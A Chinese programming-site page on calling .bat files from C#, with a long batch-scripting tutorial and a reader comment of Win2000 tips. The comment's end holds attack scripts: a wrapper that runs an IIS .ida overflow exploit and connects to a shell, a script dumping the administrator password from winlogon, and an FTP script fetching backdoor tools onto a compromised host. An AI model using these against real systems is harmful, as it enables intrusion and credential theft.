欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

c# 调用.bat文件的实现代码

程序员文章站 2022-07-22 10:01:57
c# 调用.bat文件 使用命名空间:using system.diagnostics; system.diagnostics.process.start(server.m...
c# 调用.bat文件
使用命名空间:using system.diagnostics;
system.diagnostics.process.start(server.mappath("ah.bat"));
=====================================================================
扩展名是bat(在nt/2000/xp/2003下也可以是cmd)的文件就是批处理文件
首先,批处理文件是一个文本文件,这个文件的每一行都是一条dos命令(大部分时候就好象我们在dos提示符下执行的命令行一样),你可以使用dos下的edit或者windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。
其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与c语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的dos命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。
第三,每个编写好的批处理文件都相当于一个dos的外部命令,你可以把它所在的目录放到你的dos搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如c:\batch),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:\batch,你就可以在任意位置运行所有你编写的批处理程序。
第四,在dos和win9x/me系统下,c:盘根目录下的autoexec.bat批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于windows 98下的autoexec.bat的示例:
@echo off
path c:\windows;c:\windows\command;c:\ucdos;c:\dostools;c:\systools;c:\wintools;c:\batch
lh smartdrv.exe /x
lh doskey.com /insert
lh ctmouse.exe
set temp=d:\temp
set tmp=d:\temp
批处理的作用
简单的说,批处理的作用就是自动的连续执行多条命令。
这里先讲一个最简单的应用:在启动wps软件时,每次都必须执行(>前面内容表示dos提示符):
c:\>cd wps
c:\wps>spdos
c:\wps>py
c:\wps>wbx
c:\wps>wps
如果每次用wps之前都这样执行一遍,您是不是觉得很麻烦呢?
好了,用批处理,就可以实现将这些麻烦的操作简单化,首先我们编写一个runwps.bat批处理文件,内容如下:
@echo off
c:
cd\wps
spdos
py
wbx
wps
cd\
以后,我们每次进入wps,只需要运行runwps这个批处理文件即可。
常用命令
echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。
echo 表示显示此命令后的字符
echo off 表示在此语句后所有运行的命令都不显示命令行本身
@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。
call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。
pause 运行此句会暂停批处理的执行并在屏幕上显示press any key to continue...的提示,等待用户按任意键后继续
rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。
例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动ucdos,进入wps等功能。
  批处理文件的内容为:         命令注释:
    @echo off           不显示后续命令行及当前命令行
    dir c:\*.* >a.txt       将c盘文件列表写入a.txt
    call c:\ucdos\ucdos.bat    调用ucdos
    echo 你好            显示"你好"
    pause              暂停,等待按键继续
    rem 准备运行wps         注释:准备运行wps
    cd ucdos            进入ucdos目录
    wps               运行wps  
批处理文件的参数
批处理文件还可以像c语言的函数一样使用参数(相当于dos命令的命令行参数),这需要用到一个参数表示符“%”。
%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。
例2:c:根目录下有一批处理文件名为f.bat,内容为:
@echo off
format %1
如果执行c:\>f a:
那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:
例3:c:根目录下一批处理文件名为t.bat,内容为:
@echo off
type %1
type %2
那么运行c:\>t a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt
于是上面的命令将顺序地显示a.txt和b.txt文件的内容。
特殊命令
if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。
一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if [not] "参数" == "字符串" 待执行的命令
参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。
例:if "%1"=="a" format a:
2、if [not] exist [路径\]文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如: if exist c:\config.sys type c:\config.sys
表示如果存在c:\config.sys文件,则显示它的内容。
3、if errorlevel <数字> 待执行的命令
很多dos程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。
如:
goto end
:end
echo this is the end
标号用“:字符串”来定义,标号所在行不被执行。
三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。
注意:choice命令为dos或者windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。
choice的命令语法(该语法为windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):
choice [/c choices] [/n] [/cs] [/t timeout /d choice] [/m text]
描述:
该工具允许用户从选择列表选择一个项目并返回所选项目的索引。
参数列表:
/c choices 指定要创建的选项列表。默认列表是 "yn"。
/n 在提示符中隐藏选项列表。提示前面的消息得到显示,
选项依旧处于启用状态。
/cs 允许选择分大小写的选项。在默认情况下,这个工具
是不分大小写的。
/t timeout 做出默认选择之前,暂停的秒数。可接受的值是从 0
到 9999。如果指定了 0,就不会有暂停,默认选项
会得到选择。
/d choice 在 nnnn 秒之后指定默认选项。字符必须在用 /c 选
项指定的一组选择中; 同时,必须用 /t 指定 nnnn。
/m text 指定提示之前要显示的消息。如果没有指定,工具只
显示提示。
/? 显示帮助消息。
注意:
errorlevel 环境变量被设置为从选择集选择的键索引。列出的第一个选
择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,
该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的
errorlevel 值。如果用户按 ctrl+break 或 ctrl+c 键,该工具会返回 0
的 errorlevel 值。在一个批程序中使用 errorlevel 参数时,将参数降
序排列。
示例:
choice /?
choice /c ync /m "确认请按 y,否请按 n,或者取消请按 c。"
choice /t 10 /c ync /cs /d y
choice /c ab /m "选项 1 请选择 a,选项 2 请选择 b。"
choice /c ab /n /m "选项 1 请选择 a,选项 2 请选择 b。"
如果我运行命令:choice /c ync /m "确认请按 y,否请按 n,或者取消请按 c。"
屏幕上会显示:
确认请按 y,否请按 n,或者取消请按 c。 [y,n,c]?
例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):
@echo off
choice /c dme /m "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errotlevel 1 goto defrag
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此批处理运行后,将显示“defrag,mem,end[d,m,e]?” ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。
四、for 循环命令,只要条件符合,它将多次执行同一命令。
语法:
对一组文件中的每一个文件执行某个特定命令。
for %%variable in (set) do command [command-parameters]
%%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters
为特定命令指定参数或命令行开关。
例如一个批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。
批处理示例
1. if-exist
1)
首先用记事本在c:\建立一个test1.bat批处理文件,文件内容如下:
@echo off
if exist \autoexec.bat type \autoexec.bat
if not exist \autoexec.bat echo \autoexec.bat does not exist
然后运行它:
c:\>test1.bat
如果c:\存在autoexec.bat文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。
2)
接着再建立一个test2.bat文件,内容如下:
@echo off
if exist \%1 type \%1
if not exist \%1 echo \%1 does not exist
执行:
c:\>test2 autoexec.bat
该命令运行结果同上。
说明:
(1) if exist 是用来测试文件是否存在的,格式为
if exist [路径+文件名] 命令
(2) test2.bat文件中的%1是参数,dos允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,autoexec.bat是实参。
3) 更进一步的,建立一个名为test3.bat的文件,内容如下:
@echo off
if "%1" == "a" echo xiao
if "%2" == "b" echo tian
if "%3" == "c" echo xin
如果运行:
c:\>test3 a b c
屏幕上会显示:
xiao
tian
xin
如果运行:
c:\>test3 a b
屏幕上会显示
xiao
tian
在这个命令执行过程中,dos会将一个空字符串指定给参数%3。
2、if-errorlevel
建立test4.bat,内容如下:
@echo off
xcopy c:\autoexec.bat d:if errorlevel 1 echo 文件拷贝失败
if errorlevel 0 echo 成功拷贝文件
然后执行文件:
c:\>test4
如果文件拷贝成功,屏幕就会显示“成功拷贝文件”,否则就会显示“文件拷贝失败”。
if errorlevel 是用来测试它的上一个dos命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。
因此下面的批处理文件是错误的:
@echo off
xcopy c:\autoexec.bat d:\
if errorlevel 0 echo 成功拷贝文件
if errorlevel 1 echo 未找到拷贝文件
if errorlevel 2 echo 用户通过ctrl-c中止拷贝操作
if errorlevel 3 echo 预置错误阻止文件拷贝操作
if errorlevel 4 echo 拷贝过程中写盘错误
无论拷贝是否成功,后面的:
未找到拷贝文件
用户通过ctrl-c中止拷贝操作
预置错误阻止文件拷贝操作
拷贝过程中写盘错误
都将显示出来。
以下就是几个常用命令的返回值及其代表的意义:
backup
0 备份成功
1 未找到备份文件
2 文件共享冲突阻止备份完成
3 用户用ctrl-c中止备份
4 由于致命的错误使备份操作中止
diskcomp
0 盘比较相同
1 盘比较不同
2 用户通过ctrl-c中止比较操作
3 由于致命的错误使比较操作中止
4 预置错误中止比较
diskcopy
0 盘拷贝操作成功
1 非致命盘读/写错
2 用户通过ctrl-c结束拷贝操作
3 因致命的处理错误使盘拷贝中止
4 预置错误阻止拷贝操作
format
0 格式化成功
3 用户通过ctrl-c中止格式化处理
4 因致命的处理错误使格式化中止
5 在提示“proceed with format(y/n)?”下用户键入n结束
xcopy
0 成功拷贝文件
1 未找到拷贝文件
2 用户通过ctrl-c中止拷贝操作
4 预置错误阻止文件拷贝操作
5 拷贝过程中写盘错误
3、if string1 == string2
建立test5.bat,文件内容如下:
@echo off
if "%1" == "a" format a:
执行:
c:\>test5 a
屏幕上就出现是否将a:盘格式化的内容。
注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。
如:if [%1]==[a] 或者 if %1*==a*
5、goto
建立test6.bat,文件内容如下:
@echo off
if exist c:\autoexec.bat goto _copy
goto _done
:_copy
copy c:\autoexec.bat d:\
:_done
注意:
(1) 标号前是ascii字符的冒号":",冒号与标号之间不能有空格。
(2) 标号的命名规则与文件名的命名规则相同。
(3) dos支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。
6、for
建立c:\test7.bat,文件内容如下:
@echo off
for %%c in (*.bat *.txt *.sys) do type %%c
运行:
c:>test7
执行以后,屏幕上会将c:盘根目录下所有以bat、txt、sys为扩展名的文件内容显示出来(不包括隐藏文件)。
____________________________________________________________________________________________________
[打包下载]   [引用该文]   [发表评论]   [转寄该文]   [关闭窗口]
此文章相关评论:
该文章有6个相关评论如下:(点这儿论坛方式查看)
--------------------------------------------------------------------------------
bluekylin 发表于: 2004/11/24 10:25pm
win2000命令行方式批处理bat文件技巧
 
————————————————————————————————————————————
文章结构
1. 所有内置命令的帮助信息
2. 环境变量的概念
3. 内置的特殊符号(实际使用中间注意避开)
4. 简单批处理文件概念
5. 附件1 tmp.txt
6. 附件2 sample.bat
######################################################################
1. 所有内置命令的帮助信息
######################################################################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
______________________________________________________________________
下面将所有上面的帮助输出到一个文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
______________________________________________________
######################################################################
2. 环境变量的概念
######################################################################
_____________________________________________________________________________
c:\program files>set
allusersprofile=c:\documents and settings\all users
commonprogramfiles=c:\program files\common files
computername=first
comspec=c:\winnt\system32\cmd.exe
number_of_processors=1
os=windows_nt
os2libpath=c:\winnt\system32\os2\dll;
path=c:\winnt\system32;c:\winnt;c:\winnt\system32\wbem
pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh
processor_architecture=x86
processor_identifier=x86 family 6 model 6 stepping 5, genuineintel
processor_level=6
processor_revision=0605
programfiles=c:\program files
prompt=$p$g
systemdrive=c:
systemroot=c:\winnt
temp=c:\winnt\temp
tmp=c:\winnt\temp
userprofile=c:\documents and settings\default user
windir=c:\winnt
_____________________________________________________________________________
path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
%windir%\system32\. 这个目录里面. 一般就可以自动搜索到.
语法: copy mychenxu.exe %windir%\system32\.
使用点(.) 便于一目了然
对环境变量的引用使用(英文模式,半角)双引号
%windir% 变量
%%windir%% 二次变量引用.
我们常用的还有
%temp% 临时文件目录
%windir% 系统目录
%errorlevel% 退出代码
输出文件到临时文件目录里面.这样便于当前目录整洁.
对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
c:\>dir p*
c:\ 的目录
2000-09-02 11:47 2,164 pdos.def
1999-01-03 00:47 <dir> program files
1 个文件 2,164 字节
1 个目录 1,505,997,824 可用字节
c:\>cd pro*
c:\program files>
c:\>
c:\>cd "program files"
c:\program files>
######################################################################
3. 内置的特殊符号(实际使用中间注意避开)
######################################################################
微软里面内置了下列字符不能够在创建的文件名中间使用
con nul aux \ / | || && ^ > < *
you can use most characters as variable values, including white space. if you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. if you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. consider the following examples:
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
to create the variable value new&name, type:
set varname=new^&name
to create the variable value "new&name", type:
set varname="new&name"
the ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.
find "pacific rim" < trade.txt > nwtrade.txt
if exist filename. (del filename.) else echo filename. missing
> 创建一个文件
>> 追加到一个文件后面
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一样的缺省分隔符号.
; 注释,表示后面为注释
: 标号作用
| 管道操作
& usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
dir c:\*.exe & dir d:\*.exe & dir e:\*.exe
&& usage:第一条命令 && 第二条命令 [&& 第三条命令...]
当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
|| usage:第一条命令 || 第二条命令 [|| 第三条命令...]
当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
常用语法格式
if [not] errorlevel number command para1 para2
if [not] string1==string2 command para1 para2
if [not] exist filename command para1 para2
if exist filename command para1 para2
if not exist filename command para1 para2
if "%1"=="" goto end
if "%1"=="net" goto net
if not "%2"=="net" goto other
if errorlevel 1 command para1 para2
if not errorlevel 1 command para1 para2
for /l %%i in (start,step,end) do command [command-parameters] %%i
for /f "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母顺序 ijklmnopq依次取参数.
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
######################################################################
4. 简单批处理文件概念
######################################################################
echo this is test > a.txt
type a.txt
echo this is test 11111 >> a.txt
type a.txt
echo this is test 22222 > a.txt
type a.txt
第二个echo是追加
第三个echo将清空a.txt 重新创建 a.txt
netstat -n | find "3389"
这个将要列出所有连接3389的用户的ip.
________________test.bat___________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不显示注释语句,本行显示
@rem 不显示注释语句,本行不显示
@if exist %windir%\system32\find.exe (echo find find.exe !!!) else (echo error: not find find.exe)
@if exist %windir%\system32\fina.exe (echo find fina.exe !!!) else (echo error: not find fina.exe)
___________________________________________________________________________
下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.
___________________ida.bat_________________________________________________
@rem ver 1.0
@if not exist %windir%\system32\idahack.exe echo "error: dont find idahack.exe"
@if not exist %windir%\system32\nc.exe echo "error: dont find nc.exe"
@if "%1" =="" goto usage
@if not "%2" =="" goto sp2
:start
@echo now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%\_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%\_tmp
@find "good luck :)" %temp%\_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if not errorlevel 1 nc.exe %1 99
@goto end
:sp2
@idahack.exe %1 80 %2 99 %temp%\_tmp
@type %temp%\_tmp
@find "good luck :)" %temp%\_tmp
@if not errorlevel 1 nc.exe %1 99
@goto end
:usage
@echo example: ida.bat ip
@echo example: ida.bat ip (2,3)
:end
_____________________ida.bat__end_________________________________
下面我们再来第二个文件.就是得到administrator的口令.
大多数人说得不到.其实是自己的没有输入正确的信息.
___________________________fpass.bat____________________________________________
@rem ver 1.0
@if not exist %windir%\system32\findpass.exe echo "error: dont find findpass.exe"
@if not exist %windir%\system32\pulist.exe echo "error: dont find pulist.exe"
@echo start....
@echo ____________________________________
@if "%1"=="" goto usage
@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%\_findpass.txt
@echo ________________________________here__pass★★★★★★★★
@ipconfig /all >>%temp%\_findpass.txt
@goto end
:usage
@pulist.exe >%temp%\_pass.txt
@findstr.exe /i "winlogon explorer internat" %temp%\_pass.txt
@echo "example: fpass.bat %1 %2 %3 %4 !!!"
@echo "usage: findpass.exe domainname username pid-of-winlogon"
:end
@echo " fpass.bat %computername% %username% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat___end___________________________________________________________
还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
依次在窗口输入下面的东西. 当然了也可以全部拷贝.ctrl+v过去. 然后就等待吧!!
复制代码 代码如下:

echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w